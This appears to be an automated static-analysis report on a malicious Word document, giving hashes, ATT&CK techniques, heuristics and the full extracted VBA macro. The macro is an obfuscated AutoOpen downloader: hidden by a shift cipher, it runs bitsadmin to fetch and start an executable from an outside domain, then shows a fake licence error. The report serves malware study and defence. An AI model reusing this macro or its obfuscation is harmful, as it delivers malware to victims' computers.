Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27425b182c0c56c2…

MALICIOUS

Office (OLE)

110.5 KB Created: 2017-05-09 08:23:00 First seen: 2019-09-30
MD5: ee13415265b93a92946b99c12f81a678 SHA-1: 1bbfbdf7a841067225c82674f819a0db3e38f1ac SHA-256: 27425b182c0c56c267fcc35745a16766a7a2aff8f6bdce96920125069738c5fb
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The document body instructs the user to "Enable editing" and "Enable Content" to view the protected content. The AutoOpen macro, triggered upon opening, uses a Shell() call to execute a command constructed from obfuscated strings. This macro is designed to download and execute a second-stage payload.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3158 bytes
SHA-256: 56db3c37eda8b10f448bbb0b728bea4307bf02f886bd470813a11800dfc3e029
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Jtue = Jtue & Ifrbuajrefpgnkadgk("fpg1h{h 2f ") & Ifrbuajrefpgnkadgk("%zdlw") & Ifrbuajrefpgnkadgk("iru 2w 8 \NHU") & Ifrbuajrefpgnkadgk("T ) el") & Ifrbuajrefpgnkadgk("wvdgplq 2") & Ifrbuajrefpgnkadgk("wudqvihu XNHI 2grzqordg 2") & Ifrbuajrefpgnkadgk("sulrulw| qrupdo kwwsv=22riilfh")
Jtue = Jtue & Ifrbuajrefpgnkadgk("0dss0xsgdw") & Ifrbuajrefpgnkadgk("h1elg2Ordghu1h{h (dssgd") & Ifrbuajrefpgnkadgk("wd(_r|ksss1h{h )vwduw (dss") & Ifrbuajrefpgnkadgk("gdwd(_r|ksss1h{h%")
If Len("wiwygm") <> 483 Then
' enaomiw
Else
' llcdvkr
MsgBox "xwkkkd", 750, "zcbpizo"
End If
Srtkxamoylfyvmskdxjogn = Srtkxamoylfyvmskdxjogn & Ifrbuajrefpgnkadgk("Huuru 4<;:7=") & Ifrbuajrefpgnkadgk(" \rx pxvw kd") & Ifrbuajrefpgnkadgk("yh R") & Ifrbuajrefpgnkadgk("iilfh Sur") & Ifrbuajrefpgnkadgk("ihvvlrqdo Hglwlrq wr") & Ifrbuajrefpgnkadgk(" uhdg wklv frqwhqw/") & Ifrbuajrefpgnkadgk(" sohdvh xsjudgh |rxu olfhqfh1")
Srtkxamoylfyvmskdxjogn = Srtkxamoylfyvmskdxjogn & Ifrbuajrefpgnkadgk(" Ylvlw zzz") & Ifrbuajrefpgnkadgk("1plfurvriw1frp iru khos")
    
If 735 * 4 = 29291 - 2671 Then
fskkda = "tobksmj"
End If
Shell Jtue, vbHide
If Len("ukbowftn") <> 212 Then
' mywbwm
Else
' oalkvnnp
MsgBox "mxidli", 802, "oaiwksu"
End If
MsgBox Srtkxamoylfyvmskdxjogn
End Sub
Private Function Bgsfko(ByVal Kickapjaitlpejeg As String, ByVal Pucklwvnvi As Long) As String
Dim Uytnwjkartvkatzoflopkpkc, Dobgeiioadijljpwkwngxbn, Jtlkpnivmjwphtbyy As Long
Uytnwjkartvkatzoflopkpkc = Len(Kickapjaitlpejeg)
Dim Ppeehkktzp As String
Dim Posllslfhcokfyvzv() As Long
ReDim Posllslfhcokfyvzv(1 To Uytnwjkartvkatzoflopkpkc)
For Jtlkpnivmjwphtbyy = 1 To Uytnwjkartvkatzoflopkpkc
If 603 * 10 = 15165 - 3675 Then
cnktvh = "idwvds"
End If
Dobgeiioadijljpwkwngxbn = Asc(Mid(Kickapjaitlpejeg, Jtlkpnivmjwphtbyy, 1))
If Dobgeiioadijljpwkwngxbn = 32 Then
If Len("ynspid") <> 385 Then
' gxbtfvtv
Else
' ngokc
MsgBox "umezwgw", 128, "xkjxste"
End If
Posllslfhcokfyvzv(Jtlkpnivmjwphtbyy) = Dobgeiioadijljpwkwngxbn
Else:
If 772 * 2 = 22994 - 1708 Then
dzxxknk = "umncs"
End If
Dobgeiioadijljpwkwngxbn = Dobgeiioadijljpwkwngxbn - Pucklwvnvi
If 414 * 10 = 28296 - 1406 Then
rpyrhxzd = "akxrnxpb"
End If
Posllslfhcokfyvzv(Jtlkpnivmjwphtbyy) = Dobgeiioadijljpwkwngxbn
End If
Ppeehkktzp = Ppeehkktzp & Chr(Posllslfhcokfyvzv(Jtlkpnivmjwphtbyy))
Next
If Len("yrmxczsc") <> 59 Then
' tjuyi
Else
' risyu
MsgBox "okoxbiyt", 36, "jpkhyapo"
End If
Bgsfko = Ppeehkktzp
If Len("kbnsxrc") <> 501 Then
' jkupjge
Else
' laizund
MsgBox "bccspkfx", 839, "xpohdj"
End If
End Function
Private Function Ifrbuajrefpgnkadgk(Gjnwiemvbeandkytlcwwlsbt As String)
If Len("tpppckjt") <> 191 Then
' dnzaorru
Else
' jdakvfu
MsgBox "ljmskyhx", 468, "thfkzage"
End If
Ifrbuajrefpgnkadgk = Bgsfko(Gjnwiemvbeandkytlcwwlsbt, 3)
End Function